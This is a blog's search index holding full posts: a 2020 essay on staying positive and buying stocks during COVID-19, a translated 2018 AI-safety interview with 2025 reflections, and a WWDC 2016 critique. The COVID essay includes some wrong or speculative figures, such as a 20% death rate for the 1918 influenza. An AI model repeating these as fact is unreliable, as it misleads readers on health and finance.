of New Armenia. Relocation stories and experiences. Comparison of IT salaries in Russia, Belarus, Ukraine and Armenia. Cover Photo Source. ","permalink":"https://ashvardanian.com/posts/armenia/","summary":"\u003cp\u003eBorders are closed, people are sitting at home, but I bet most of you dream about traveling again.\nI want to invite you all to my country of origin - Armenia.\nIt has something to offer to every group of people - \u003ca href=\"#traveling-to-armenia\"\u003etourists\u003c/a\u003e, \u003ca href=\"#doing-it-business-in-armenia\"\u003eentrepreneurs\u003c/a\u003e and \u003ca href=\"#investing-in-armenia\"\u003einvestors\u003c/a\u003e!\u003c/p\u003e","title":"Come to Armenia 🇦🇲"},{"content":"The bad news is coming from every direction. Still, I believe there are enough reasons to stay positive and excited about the future!\nAbsurdly, this positive outlook was caused by 2 seemingly negative factors:\nSince the age of 15, I was convinced that the human race would likely face extinction in the 21st century. I was pretty confident that the threat would come in the form of virus, most likely from China. I often shared this opinion with older people, but no one cared.\nI am investing in the stock market for about 6 years now and I have lost about 20% of my lifetime savings in the last month.\nHaving said that, I refuse to panic. This is a sad period in our history, but we can use it to our advantage! This is the longest article I have recently written so get your snacks ready and let\u0026rsquo;s dive into it! 😉\nDisclaimer. Take my words with a grain of salt. My experience is minimal, and I wasn\u0026rsquo;t there during the last crisis. My background isn\u0026rsquo;t in economics or biology. So far, I had a relatively good track record of predicting global trends, but I am not an expert. Anyways, feel free to correct me if I am wrong!\nA Few Months of Discomfort Preparing for the future is essential, but it\u0026rsquo;s meaningless if we can\u0026rsquo;t get there. Luckily, we have some good news here! To stay safe we only need to follow a few simple rules:\nMinimize interactions with other people and embrace your inner introvert! Wash hands with soap frequently regardless of the virus! Don\u0026rsquo;t touch your face with dirty hands as it\u0026rsquo;s a bad habit! So far, the governments were slow to react, which is weird as a big part of politicians falls into the danger zone. The average politician is 53 years old, while the average human is under 30. Stats aside, almost every major country has introduced at least some form of quarantine, and I am pretty sure it will work! That\u0026rsquo;s old news, let\u0026rsquo;s see what\u0026rsquo;s next!\nPersonal Growth Most people can\u0026rsquo;t afford the luxury of staying home for a few months. They rely on their current job to receive immediate income, but the job market is changing rapidly, and people need to adapt. But when?\nThe answer is: Now. The governments around the globe are considering aid packages for households, so many people will essentially receive Universal Basic Income and have enough time to learn new skills from home. Online learning services have already announced new courses, but I suggest focusing on languages (in a broad sense).\nSpoken languages to exchange knowledge with other people. Mathematics to encode ideas into a formal representation. Programming languages to pass information to machines. Learning spoken languages is a bit antiquated. Mathematics may require a lot of time and won\u0026rsquo;t be practical for most people. Programming is the best option. Coding is the literacy of today and it helps practice 21st century skills such as problem solving, team work and analytical thinking. Luckily, some programming languages are so simple, you can learn them in a couple of weeks. You don\u0026rsquo;t even need specialized equipment or money. Tutorials are free on YouTube and programming can be done on a smartphone these days.\nSome jobs will be automated sooner than others. The bad news are that easy-to-automate jobs are extremely popular. For the US labor market the following common professions are at risk:\nCashiers: 3.5 mln people. Waitresses: 2.5 mln people. Secretaries: 2.2 mln people. Truck Drivers: 1.7 mln people. Sales Representatives: 1.4 mln people. If your job isn\u0026rsquo;t on the list, you can look it up here. The next industrial revolution will affect all of us, and this is a great chance to learn new skills and secure a relevant role for yourself in the automated future!\nFinancial Opportunities Buy when there\u0026rsquo;s blood in the streets, even if the blood is your own. Baron Rothschild. 18th century.\nBe fearful when others are greedy and greedy when others are fearful. Warren Buffett. 21st century.\nThe time goes on, but very little changes. Short term crisis is often a long-term opportunity. Today the market is full of fear. The 500 largest companies in the US had lost one third of their value in a month. I have lost a lot of money as well, and I will probably lose even more in the upcoming weeks.\nPart of me is sad and nervous, but another part is excited about the new possibilities. There are plenty of reasons to be pessimistic about the current state of affairs, but this can be an amazing opportunity for brave buyers. I will focus on positive aspects.\nHuman Psychology 😱 In general, people sell faster than they buy. They can spend months deciding to buy an asset but sell in minutes of panic without deeply investigating the subject. I am not convinced with modern state of Psychological research, so let\u0026rsquo;s use economics to quantify it. The value of assets on the market is defined by it\u0026rsquo;s real value today and it\u0026rsquo;s future potential. The second depends on local and macroeconomic risks, which skyrocket in the periods of uncertainty. Sounds vague, but we have a very specific chart, that reflects market uncertainty. It\u0026rsquo;s called VIX and it shows the implied market volatility for upcoming 30 days! If we align VIX with historical data we can see, that people almost always exaggerate the risks and act irrationally!\nThey panic and push the price of already well-priced companies even further. So whenever you see a rapid drop in price, it\u0026rsquo;s probably even less justified than the original growth of any bubble. This time we turned from Bull market to Bear market faster than ever, so maybe the recovery will be fast too.\nLiquid Assets 🌊 If the money leaves the stock market it must go somewhere else within the financial ecosystem, but most assets were losing value in the past month.\nGold: -11%. Oil (Brent): -54%. 5 year treasury notes: +3%. Cash was the best asset to hold recently, but it\u0026rsquo;s as liquid as it gets. It won\u0026rsquo;t be hard to redistribute cash back into the market. Furthermore, in hard times central banks often initiate Quantitative Easing. In simple terms, the government prints excessive amounts of money to buy various financial assets (usually treasury bonds). Such an influx of new cash devalues the currency and pushes people towards other financial instruments. In the past, QE had mixed results, but this time can be different due to wiser regulations for bank reserves and stock buybacks, which account for 42% of equity demand!\nOil Prices 🛢️ One of the reasons this market crash was so fast is that world leaders couldn\u0026rsquo;t agree on oil prices. Russia famously quit the negotiations with OPEC on March 6 causing retaliation on the Saudi side. We all knew oil prices would go down eventually, but this was too fast, too early.\nThis increases market volatility but will positively affect some economies. China accounts for 20% of worldwide oil imports and will benefit from lower prices more than any other country. Their economy was slowing down rapidly, and cheaper energy will help to wake up the sleeping dragon!\nSeasonality and Demographics 🏥 Higher temperatures will probably slow down the spread of the virus. We don\u0026rsquo;t have conclusive evidence yet, but it\u0026rsquo;s very likely.\nUltraviolet will damage its membrane. Warm, humid weather will limit its travel distance (when sneezing). Sunnier weather will stimulate our immune systems. Furthermore, the impact won\u0026rsquo;t be uniform around the globe. As mentioned previously, the virus is much deadlier for the older population, but let\u0026rsquo;s see how different regions compare in terms of median age:\nEurope: 43 yo. USA: 38 yo. India: 28 yo. Bangladesh: 27 yo. Africa: 19 yo. The causes behind such demographics in Africa and similar places are highly disturbing, but they will naturally soften the impact of this outbreak in the regions that are least prepared!\nTech to the Rescue 💻 Trade routes are disrupted, and the supply has fallen even more than demand. To recover, we need to focus on the main drivers of growth — Technology sector.\nChina, Taiwan and South Korea are slowly healing, as the number of new cases in those countries is minimal. Coincidentally, those countries are absolutely dominating the semiconductor industry! In 2019 tech industry sales totalled at 5 trillion USD, but that\u0026rsquo;s only half of the story!\nI am biased, but to me, the invention of MOSFET transistor was as crucial for the economy as steam engine or electricity! Its past influence is undeniable, but we are not stopping here. TSMC had recently reported that their 5nm production is already fully booked! It means 84% higher transistor density over 7nm specification and much higher performance per Watt! This will translate into supercomputers of unprecedented scale! The El Capitan system expected in 2023 will outperform 200 fastest supercomputers combined!\nImagine a world with 100 times more computational resources allocated for biological modelling and drug design! Our technological advances aren\u0026rsquo;t halting, they are accelerating! What a time to be alive!\nLonger Term Outlook 🔮 I hope you already feel safer now, but let\u0026rsquo;s throw in a few more arguments.\nIn developed countries big part of jobs can be done from home. This outbreak will accelerate the transition to remote work style and will indirectly boost the hospitality industry in the long term.\nThe education system is being actively digitized, paving the way for custom curricula for every student. That will presumably improve the quality of education and the rate of technological advances.\nFrom a biological standpoint, COVID-19 is linked to SARS and MERS, but it spreads much faster. From an economic standpoint, it\u0026rsquo;s easier to compare it to the influenza pandemic of 1918. It had a 20% death rate and had affected 27% of global population. Within half a year, the stock market lost 35% of its value, but later it regained its original value within 18 months. I tend to believe that we are much better prepared this time.\nThat being said, don\u0026rsquo;t jump into the stock market right away. Build up positions slowly and within a few years of methodical investing you will multiply your assets. The last Bull market moved S\u0026amp;P 500 from 666 points to 3'393 - quintupling it in 12 years, which results average annual returns of 14%! Being wealthy is undoubtedly great, but there is more to the stock market than just finances. By buying stocks, you support the value of corresponding companies (groups of real people), which will help them grow, design and produce products that you use and love!\nCall for Action Viruses are dangerous, we all knew that. Smallpox alone had killed over 300 million people in the 20th century. It\u0026rsquo;s more than three times the death toll of World War 2. In the past years, WHO and other entities identified Eastern China as the most likely place for deadly viruses to originate. We knew all of this for decades but refused to act. We haven\u0026rsquo;t seen a pandemic of such scale for generations and forgot whats its like.\nWe needed a harsh reminder like this to initiate ground-shifting changes! Probably, the most critical problem we need to address is our never-ending rivalry. I have lived in over a dozen countries and know for sure that the differences between our cultures are minimal. Somehow we forget about what unites us and focus on what sets us apart, and it influences everything!\nThe Budgets 💰 As of now, the US and China together spend about 1 trillion USD annually on the military. Very often, this figure is shown as a share of GDP, which makes no sense. GDP measures the economic activity within a region, not the number of available resources. In absolute numbers, it\u0026rsquo;s estimated, that American taxpayers had spent a total of 6.4 trillion USD on wars in the Middle East since 2001. This number is mind boggling, so let\u0026rsquo;s just focus on one year. In 2018 the United States had spent a total of 4.1 trillion USD on various programs (it\u0026rsquo;s 24% more that what they earned). This budget was split between 18 departments, but not evenly:\nDefense: 574 billion USD. Education: 68 billion USD. Healthcare: 65 billion USD. I am using the USA as a reference because they are the biggest economy, and their data is widely available (👍), but the situation is very similar in most other countries! The 2018 military budget is equal to the estimated cost of:\nDesigning working vaccines for 250 unrelated viruses. Source. Constructing 700 hospitals with 350'000 beds. Source. Building 110 copies of Large Hadron Collider. Source. Building 110 colliders is not a good strategy either. This just extends the scope of our context. Scientific activity correlates with the quality of healthcare systems. It\u0026rsquo;s not just Biology. Many tools we use in Medicine today were originally designed by physicists to study nature. Do you know what\u0026rsquo;s the share of R\u0026amp;D in GDPs of big countries?\nKorea: 4.5%. Israel: 4.5%. Japan: 3.2%. United States: 2.8%. Italy: 1.3%. Russia: 1.1%. We can do better.\nThe Borders 🛂 The money alone won\u0026rsquo;t solve the problem. Politicians often hide real threats to avoid panic or for less admirable reasons. It also applies to viral outbreaks. Researchers around the globe must have immediate access to real-time data to prevent such disasters from happening. As we are already on this topic, let\u0026rsquo;s dream about what else can be achieved if we remove borders and start building bridges!\nCargo trains and ships would always take the shortest routes and transit through borders freely to avoid unnecessary emissions. Airlines today often avoid the shortest path to pay lower overflight fees. This is borderline criminal, given that it can be 400 times less eco-friendly (per metric ton of freight) than bulk carrier ships.\nRare-earth materials are only present in some parts of the globe, but we can consume them together to build high end medical and scientific equipment.\nIndustrial complexes could be moved to sparsely populated regions, as some diseases like non-Hodgkin\u0026rsquo;s lymphoma are 10 times more likely near factories. Even in developed countries like the US.\nDatacenters spend 40% of energy on cooling. We could move them to colder climates for natural cooling and in return cover the agricultural needs of people who live there.\nThis list is endless. And also meaningless. We use the money to exchange goods between nations, but it\u0026rsquo;s not enough if there is no trust. It is difficult to convince anyone to cooperate given the differences in our cultures! It\u0026rsquo;s hard periods like this that bring us all together and let us see the clear picture! I am happy it happened sooner than later! We will face a lot of obstacles in the 21st century, and we must battle them together!\nThe End Today I have been outdoors only once, and I am proud of it.\nA little bit of discipline and our lives can become better than ever before!\n","permalink":"https://ashvardanian.com/posts/covid19/","summary":"\u003cp\u003eThe bad news is coming from every direction.\nStill, I believe there are enough reasons to stay positive and excited about the future!\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Poster\" loading=\"lazy\" src=\"/covid19/cover.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eAbsurdly, this positive outlook was caused by 2 seemingly negative factors:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSince the age of 15, I was convinced that the human race would likely face extinction in the 21st century. I was pretty confident that the threat would come in the form of virus, most likely from China. \u003cdel\u003eI often shared this opinion with older people, but no one cared.\u003c/del\u003e\u003c/p\u003e","title":"Positive Outlook on the COVID-19 Crisis 😷"},{"content":" In 2018 – three years after leaving physics to focus on high-performance AI infrastructure (project Unum) – I gave the interview below during a LessWrong meetup on the ITMO University campus in St. Petersburg, Russia, arguably the strongest Computer Science department in the world. The recording was later posted on VKontakte. To preserve the conversation and reflect on it in the future, I\u0026rsquo;ve run it through automatic translation and posted it here, with some notes in the end on how the ideas have aged through 2025.\nIntro From 2-5 August 2018, Prague hosted the Human-Aligned AI Summer School, gathering researchers to discuss the safe development of machine learning systems. Before the event, a representative of the Russian Effective Altruism society sat down with me to talk about AI Safety, Reinforcement Learning, and the state of the field.\nThe Less Wrong Interview, 2018 Current Work Interviewer: What are you currently working on?\nI am developing a framework for high-performance computing in ML tasks. There are many machine learning (ML) libraries available for open use and for rapid prototyping of various neural networks on the fly. However, I am building a highly optimized system for specific tasks. For these tasks, my code runs 10 times faster than Facebook\u0026rsquo;s or Microsoft\u0026rsquo;s libraries.\nThis shouldn\u0026rsquo;t be surprising. When creating a public product, you are forced to maintain backward compatibility. This ensures that users of an old version of your product can update to a new one without changing their existing work. But this also limits you, preventing revolutionary changes to the old version. My code, on the other hand, is like a living organism – all cells regenerate. Over the past 2.5 years, the project has undergone five to six rewrites. The design continuously improves, and there is no need to worry about compatibility.\nMotivation for Prague Interviewer: Why did you decide to go to Prague?\nFirstly, it conveniently coincided with another trip. I did not have a specific mission to attend an AI safety conference. I am not afraid of a strong AI that will come and enslave everyone; a weaker mind cannot comprehend the thoughts of a stronger one. If strong AI becomes significantly smarter than humans (which is likely), then we won\u0026rsquo;t even be able to imagine what it is capable of, and discussing it would be pointless.\nI am more concerned about powerful ML models – let\u0026rsquo;s call them weak AI. A small paranoid lives within each of us. My paranoia fears that organizations will use weak AI to solve their problems more effectively. Everyone\u0026rsquo;s problems sound different, but essentially, they aim to increase their power:\nStates want more control over their citizens and dominance over other countries. Religion wants more adherents and control over them. Businesses want to maximize their profits. To achieve this, they need either to raise prices or increase the number of clients by pushing competitors out of the market. This can manifest in any way imaginable: advertising, blackmail, speculation – you choose.\nMoreover, harm can be inflicted unintentionally.\nMachine Learning Abuse Interviewer: Is that [ML abuse] already happening?\nIt isn\u0026rsquo;t easy to define ML. I would call it a branch of statistics or statistics on steroids, depending on how you look at it. You collect information about the workings of the surrounding world and then use the results of that analysis to make predictions. Our consciousness probably works similarly.\nA huge problem that few people talk about is that any statistics you accumulate have a limited scope of application. In the world around us, not all quantities can be described by a uniform distribution. However, many adhere to a Gaussian distribution. In such a distribution, a small proportion of examples will be at the extremes, but these are often the important ones.\nAny ML model will struggle to predict its target function for data points falling into the tails of the distribution – for unusual input data. This is neither good nor bad; it is a fact.\nTo overcome these problems, a significant amount of high-quality data is required. Some corporations possess this. But that\u0026rsquo;s not all.\nBusiness is not as categorical and demanding as science. In science, the best solution wins, but everything requires proof. In business, people often make compromises. Even if a more optimal model emerges that yields similar average results for the business, the new solution might not be implemented.\nA manager writes a task, an analyst creates a model, a programmer writes a library, and a system administrator configures a cluster. But none of them have any idea how it all works together. It\u0026rsquo;s difficult to say where and what might go wrong. But ultimately, everyone will suffer.\nWe have to start from scratch. This sounds entirely unrealistic for most AI specialists.\nThe greatest foolishness is to do the same thing over and over again and expect a different result. Albert Einstein\nMost ML consists of complex and multi-layered models that conceal a significant amount of logic. As a result, even programmers poorly understand what is happening inside.\nFrom a historical perspective, it looks like this:\nNew industries emerge, and enthusiasts are the first to flock to them. This was the case with computers about 40 years ago: only geeks understood them. Pioneers are often individuals with exceptional intelligence, knowledge, and other metrics that differ significantly from those of the general population. They build the foundation for the entire industry, attracting the attention of forward-looking organizations. The industry matures, with many people already involved. They are distributed by skill level according to a Gaussian curve. Artificial intelligence (AI) has been a significant field for approximately 5 years. Many programmers do not understand how their models work. Products released by large companies only exacerbate the situation, as they greatly simplify the implementation of neural networks and lower the barrier to entry. Now, anyone can download a library (TensorFlow, Caffe, Torch) and start experimenting.\nThis approach is characteristic of Western culture – it\u0026rsquo;s playful. You can play with something before you use it. I prefer the Soviet approach: before you start doing anything, you must thoroughly understand what you are doing and what your responsibilities are. This process is more complex and tedious, but it significantly safeguards against risks.\nWhat should be done with an intern at a nuclear power plant? Can they be allowed to play with all the buttons and react spontaneously? No. AI is an even more powerful tool than nuclear energy. It is so much more powerful that we cannot even grasp its potential. Therefore, it is better to have a high barrier to entry than to take on high risks.\nOversight and Regulation Interviewer: Is it possible that someone has already created a strong AI, and we don\u0026rsquo;t know about it?\nIf a full-fledged AI had emerged, we would all know about it. Alternatively, no one would know, including its creator. The scenario where someone developed it and only they know is unlikely. Either no one knows, or suddenly everyone does.\nI am not afraid of a computer that passes the Turing test. I am scared of a computer that intentionally fails it. (Unknown quote)\nInterviewer: There are two main scenarios with AI:\nAI is initially designed with a destructive purpose and goes out of control, AI is initially designed for a positive task, but in the process of executing it, it chooses a destructive method to achieve the goal. Which of these is most likely? Again, if we\u0026rsquo;re talking about strong AI, guessing its plans is pointless. It\u0026rsquo;s like hoping a worm can understand human thoughts.\nInterviewer: Have you read Nick Bostrom\u0026rsquo;s book \u0026ldquo;Superintelligence\u0026rdquo;?\nI hardly read any fiction; mostly, I read scientific articles.\nInterviewer: Okay. There\u0026rsquo;s an article on this topic called \u0026ldquo;Concrete Problems in AI Safety.\u0026rdquo; It discusses several issues, for example, how adding a few pixels can drastically change model results. What are your thoughts on this?\nYes, there\u0026rsquo;s a whole class of models called Generative Adversarial Networks (GANs). These are typically Convolutional Neural Networks (CNNs) used for image and video analysis. They are pretty effective at addressing such problems. Two neural networks are trained: one solves the original task, and the second tries to hinder it.\nYou can always find something to nitpick. When one problem surfaces, a solution soon appears. Usually, it just treats the symptoms rather than curing the disease.\nModern ML models are often multi-layered. Even if each layer individually cannot significantly distort the signal, the entire network can change it beyond recognition. Small changes in input data can cause significant changes in output data.\nPreviously, ML primarily used very primitive classifiers based on linear algebra, which rarely produced significant jumps with minor changes. However, we now use neural networks, and between layers of neurons, we employ nonlinear operations. These make it much easier to approximate complex distributions.\nInterviewer: So, previously, programs were easier to understand but solved simpler problems?\nYes. Deep Neural Networks have been the primary tool in the ML world for the past 5 years. And we encountered what you described above. The task became more complicated. We need to counter pixel attacks. And we added another layer of complexity. Now, we have many concepts: regularization, dropout\u0026hellip; It works more accurately.\nThis is a classic evolutionary scenario for development. Cars with internal combustion engines (ICE) have not fundamentally changed in quality over the last 50 years. They have become much more complex and fragile, yet more efficient compared to older models. Instead of complicating ICEs for decades, we could switch to electric vehicles. I prefer that approach.\nInterviewer: I mentioned Bostrom\u0026rsquo;s book because, after its release, attention to AI safety increased. Elon Musk read it. In 2015, hundreds of scientists signed an open letter calling for a more serious study of AI safety.\nHe is a very knowledgeable person, but one should never mindlessly duplicate another person\u0026rsquo;s opinions. I do not personally share his concerns on this topic.\nI doubt that creating additional AI oversight organizations will be of any help. Bureaucracy has not saved anyone yet. Any scientist and inventor thinks about the future application of their technologies and the greater good. However, regulatory bodies are not always prudent. History records numerous instances where authorities have used scientists\u0026rsquo; developments against their will.\nMany entrepreneurs, including Mark Zuckerberg and Sergey Brin, are much more positive about AI. Google acquired DeepMind several years ago – one of the most sensational AI companies. They have achieved great success with Reinforcement Learning. This is a promising approach, as it implies continuous learning and improvement.\nFuture Plans Interviewer: What do you plan to do in the field of AI safety?\nThis field is attracting considerable attention today. I would continue to work on AI itself. The best thing I can do to advance safety is to encourage everyone to take on tedious and complex tasks. Only hard work provides deep understanding. This path will require a significant amount of time and effort. In the end, only the best will see it through. This may sound unpleasant to most, but ultimately, we will all benefit from it.\nEvery person on Earth now lives better than kings did 400 years ago. And all of this is thanks to scientific and technological progress. As long as people are willing to sit over code day and night or solve equations in notebooks, we will be fine!\nReflections, 2025 This section was added on June 16, 2025.\nOn AI Scaling Parameter counts jumped from billions to trillions, validating the \u0026ldquo;more data, more compute, more parameters\u0026rdquo; mantra. Sparsity, my favorite topic in applied numerics, became a hot topic\u0026hellip; but the industry is still stuck on half-measures – like Mixture-of-Experts (MoE) models. I hope to see MoE models superseded by proper sparsity.\nOn AI Infra Software Capital is finally flowing into better AI infrastructure – both bits and atoms. PyTorch has replaced Caffe, Google\u0026rsquo;s TensorFlow, Amazon\u0026rsquo;s MXNet, and other major frameworks for training mainstream architectures. New open-source projects cover almost every alternative design:\nModular by Chris Lattner is working on Mojo, a new Python-esque programming language tailored for High-Performance Computing (HPC) and AI. TinyCorp by George Hotz is building TinyGrad, a minimalist compiler for AI model Directed Acyclic computational Graphs (DAGs). LLM.c and LLAMA.cpp by Andrey Karpathy and Georgi Gerganov, respectively, efficiently reimplement models in C and C++ from scratch. The inference space is more fragmented, with frameworks such as ONNX, Nvidia\u0026rsquo;s TensorRT, and Apple\u0026rsquo;s CoreML tailored to individual hardware vendors. Few companies work on the surrounding software stack, such as Storage, Search, and Networking, where Unum operates.\nOn AI Infra Hardware Just like with software, the influx of capital attracted many new players to the AI hardware space. Many came from the cryptocurrency industry, pivoting from crypto-mining ASICs to AI inference accelerators. Training often requires more work and more expertise in interconnects. The current headliners are:\nNvidia\u0026rsquo;s Graphics Processing Units (GPUs). Google\u0026rsquo;s Tensor Processing Units (TPUs). Cerebras\u0026rsquo;s Wafer-Scale Engine (WSE). Groq\u0026rsquo;s Language Processing Unit (LPU). Graphcore and other companies we\u0026rsquo;ve partnered with over the years have seemingly fallen behind. AMD and Intel are struggling to catch up with Nvidia, primarily earning revenue from CPU sales and investing in GPUs. All CPU and GPU-like vendors integrate \u0026ldquo;AI accelerators\u0026rdquo; into their products, which is just a marketing term for adding matrix multiplication SIMD Assembly instructions, similar to the ones used in StringZilla, SimSIMD, and other libraries of mine. Compilers still struggle to generate efficient code for those platforms, and the fight for AI Researchers and HPC Engineering talent is fierce. Individual Contributors (ICs) are rejecting multi-million-dollar offers from large companies, preferring to work on startups and, sometimes, public-good, open-source projects 😉\nOn AI Future I\u0026rsquo;ve almost instantly lost interest in RL as a whole. The industry, however, found broader applications for it, focusing on \u0026ldquo;Reinforcement Learning from Human Feedback\u0026rdquo; (RLHF) hybrid fine-tuning of large language models. I\u0026rsquo;m not a fan of RLHF and Auto-regressive Language Models either, and I hope to see those models replaced soon.\nUnfortunately, people associate \u0026ldquo;AI Memory\u0026rdquo; with \u0026ldquo;Retrieval-Augmented Generation\u0026rdquo; (RAG) and \u0026ldquo;Vector Databases\u0026rdquo;, even though I\u0026rsquo;ve ended up being one of the biggest benefactors of the RAG hype around Unum\u0026rsquo;s USearch Vector Search engine. There is more to \u0026ldquo;AI Memory\u0026rdquo; than people think, and I\u0026rsquo;m still betting the next few years of my life on it.\n","permalink":"https://ashvardanian.com/posts/building-ai-safely/","summary":"\u003cblockquote\u003e\n\u003cp\u003eIn 2018 – three years after leaving physics to focus on high-performance AI infrastructure (\u003ca href=\"/posts/next-31-years-of-unum/\"\u003eproject Unum\u003c/a\u003e) – I gave the interview below during a \u003ca href=\"https://www.lesswrong.com/\"\u003eLessWrong\u003c/a\u003e meetup on the \u003ca href=\"https://en.wikipedia.org/wiki/ITMO_University\"\u003eITMO University\u003c/a\u003e campus in St. Petersburg, Russia, arguably the strongest Computer Science department in the world.\nThe recording was later posted on \u003ca href=\"https://vk.com/@-71205962-ai-safety-russia\"\u003eVKontakte\u003c/a\u003e.\nTo preserve the conversation and reflect on it in the future, I\u0026rsquo;ve run it through automatic translation and posted it here, with some notes in the end on \u003ca href=\"#reflections-2025\"\u003ehow the ideas have aged through 2025\u003c/a\u003e.\u003c/p\u003e","title":"Building AI Safely"},{"content":"To introduce myself, I am an iOS and macOS developer, and I use Apple products daily. I like what they usually do, but there is always a catch. It\u0026rsquo;s no surprise that industry giants should keep raising the bar in technology to save their market shares. And as it always happens, the time comes when giants fall. Luckily, it hasn\u0026rsquo;t happened yet. However, this 2016 WWDC was still a massive disappointment for me. I regret spending 2 hours watching the keynote, and here is why.\nThis article was originally posted on Medium.com.\nEnhancements? Not really Your messages can now go full screen and show animations before becoming readable. And you can react in messages with Emojis, just like in Facebook, when liking posts. Now your messages can contain a \u0026ldquo;Digital touch\u0026rdquo;. Sounds like another useless button. Now your phone can control your new generation Apple TV. Why not earlier? Now, your music app organizes songs and albums in different ways. And is it worth calling another person on stage who spends time tapping buttons and listening to music? Really? Did they know that \u0026ldquo;DC\u0026rdquo; in the event title stays for \u0026ldquo;Developer Conference\u0026rdquo;? There are many things you can speak about during WWDC. Many intelligent people are working at Apple, and they worked on something last year. Why not say how many bugs you have fixed? Or how they have improved typing predictions? How many people use it, and how it works? There was just 1 technical term during the entire event (LSTM).\nCriticizing is always easier than doing something, so it\u0026rsquo;s obligatory to say what I would do in their place.\nI like new interactive links in iMessage and other options that have existed in other messengers for a long time. But iMessage is part of the OS and can be updated only once a year within OS updates. That\u0026rsquo;s why it will always be behind. To improve iMessage, make it a platform like the HomeKit+Home app. So, the developers will be able to create apps based on the iMessage API and show content from a single iMessage database. Make \u0026ldquo;Force Touch\u0026rdquo; only available for in-app actions and widgets/notifications. This means removing the gesture from the home screen. Holding the app icon to show relevant content is not a bad idea; however, it will be implemented only by big companies and purposeful developers. Both groups are already offering good-quality interfaces inside the app, so you basically get the same result with a different action. Improve music library sync. I have a couple of computers and multiple devices, and to keep music available everywhere, I have to switch my iTunes library to a Google Drive folder. However, the iTunes application stores part of the information in another directory, so Playlists are not synced, and the info isn\u0026rsquo;t updated in the app when directory content changes (requires manual actions). New technology? Not really Its great to see companies finally implementing facial recognition and deep-learning computer vision in their public products, but you can hardly say its a breakthrough. Such technologies are widely used for a decade and even IT giants are offering that options for quite a long time However, some have already disabled it or limited within a few regions. I don\u0026rsquo;t know why.\nYou can argue that only modern devices are capable of doing such high-loading tasks. But bearing in mind that a great number of photos are synced between devices, including Macs, that have components with outdated architecture, we can say that they could have done it earlier.\nGood educational motives? Yes, but isn\u0026rsquo;t their effort too small? What I mean is that making an educational app for children to learn Swift isn\u0026rsquo;t the kind of thing you expect to be listening to for five minutes during the main annual event of the biggest and richest company in the world.\nMy vision of the educational process is different. Swift is a high-level language that is good for solving a particular group of tasks. But, for me, it is not a good first language. The first language should give an understanding of how a computer works, how memory is stored, and when it is consumed. C and C++ are a lot better from this perspective. Learning to use Swift before C is like riding a motorcycle before a bicycle.\nWhat can be done?\nSeparate Swift Playgrounds app into separate compiler and educational app. Create a similar solution for Objective-C (or even Objective-C++). It is a good, well-documented language with great possibilities. It respects brackets and is not indent-dependent! Remove the fee for educational apps in the store. Developers will earn the same 70% of planned income, but the apps will be 30% cheaper for users. Lower prices for devices for students all over the world, not only in the US and a couple of European countries. Macs are not cheap, but they have excellent build quality and last longer. That is probably why some schools and universities buy them. Understanding that the main part of income is generated by iPhone and iPad sales, Apple could easily make a discount for Mac wholesale purchases for educational institutions. Refined UI? Probably, but is better UX? Remember using one app for one purpose? A perfect example is making money transactions. You enter your bank\u0026rsquo;s mobile app, choose a person you\u0026rsquo;d like to send money to, and it\u0026rsquo;s done.\nCommon sense says that sending money should become easier and more intuitive now. From now on, you can send money from your Apple Pay app and Messages app in addition to your bank\u0026rsquo;s native iOS app. But doesn\u0026rsquo;t this lead to overloading apps with functionality? Isn\u0026rsquo;t it better to keep everything as it is, especially if you need to keep track of different money flow channels?\nThe cons on the user side are quite obvious. But developers are also used to doing more work. Now, in addition to the app itself, you need to produce an interface for Messages, Siri, apps, widgets, and the app\u0026rsquo;s \u0026ldquo;Force touch\u0026rdquo; pop-up window, and there\u0026rsquo;s quite a lot to do.\nFor me, the beauty of iOS is its simplicity. It may contain hundreds of neural networks under the bonnet, but it\u0026rsquo;s still very simple to use. And once you need more , there is the App Store with over 2 million apps.\nAnd what\u0026rsquo;s wrong with emojis? As much as I understand, people use them to save time typing standard responses. But now, within the new iMessage app, you are able to type normal text and then replace it with emojis. Why would anyone do this?\nNo hardware updates This one is the most disappointing for me. My current Retina MacBook Pro suits well for everyday tasks, but it is certainly outdated and lacks some key features, such as new-generation processors, a 2016 GPU, and new I/O, including Thunderbolt 3 and USB-C. If you work on a laptop, you desire a longer battery life and brighter screen for outdoor use.\nWhat I hope to see soon:\niPhone 7 Plus (Pro?). Screen size: 5.5 inches or bigger. Screen brightness: 600 cd/m2 or higher. Battery: 3500-4000 mAh. Camera: front-facing + 2 rear-facing cameras or more (for 3D pictures, better 2D pictures, and Google Tango technology analog). Waterproof. USB type C connector. MacBook Pro Retina. New processors, new I/O, better graphics. There were some leaked photos of new MacBook bodies with a replacement of the function keys line. It sounds good, but unless it will drain the battery and will have low brightness. People who buy this device for work will prefer better battery life. People who purchase this device for everyday use may face difficulties outdoors on a sunny day. And please don\u0026rsquo;t raise the screen resolution anymore. Thunderbolt Display. Resolution: 4k or 5k. A built-in GPU is a good solution for such a high-resolution monitor. New AMD Polaris chips are only 💲 200, and I suppose Apple will be using them in new monitors. I would prefer them to launch two devices: a good display without a graphics card for 💲 600–700 and a full-featured version for 💲 900–1000. And I hope it will be rotatable. This will be very appreciated by software developers, stock traders, and some media editors. Final words I may be wrong in many points above and would like to hear your opinion. The frustration is caused not by a lack of good things, but by a big number of questionable features with exaggerated meaning. I wish this great event would save its spirit and not become a boring consumer show. Over the past 5 years watching this event has become a tradition for me and I am looking forward for the next big thing.\nI hope that new OS versions have become better optimized and more stable. For operating system it is at least as important as the flashy features and promo videos. Good luck, Apple!\n","permalink":"https://ashvardanian.com/posts/whats-wrong-with-wwdc-2016/","summary":"\u003cp\u003eTo introduce myself, I am an iOS and macOS developer, and I use Apple products daily. I like what they usually do, but there is always a catch. It\u0026rsquo;s no surprise that industry giants should keep raising the bar in technology to save their market shares. And as it always happens, the time comes when giants fall. Luckily, it hasn\u0026rsquo;t happened yet. However, this 2016 WWDC was still a massive disappointment for me. I regret spending 2 hours watching the keynote, and here is why.\u003c/p\u003e","title":"What's Wrong with WWDC 2016 Keynote?"},{"content":"I often post on Reddit and HackerNews, with the latter being a surprisingly well-balanced platform for technical discussions with less personal bias. Here are some of my favorite publications that made headlines on HackerNews:\nUp to 100x Faster FastAPI with simdjson and io_uring on Linux 5.19. Beating OpenAI CLIP with 100x less data and compute. Less Slow C++. Full Unicode Search at 50× ICU Speed with AVX‑512. Beyond OpenMP in C++ and Rust: Taskflow, Rayon, Fork Union Processing Strings 109x 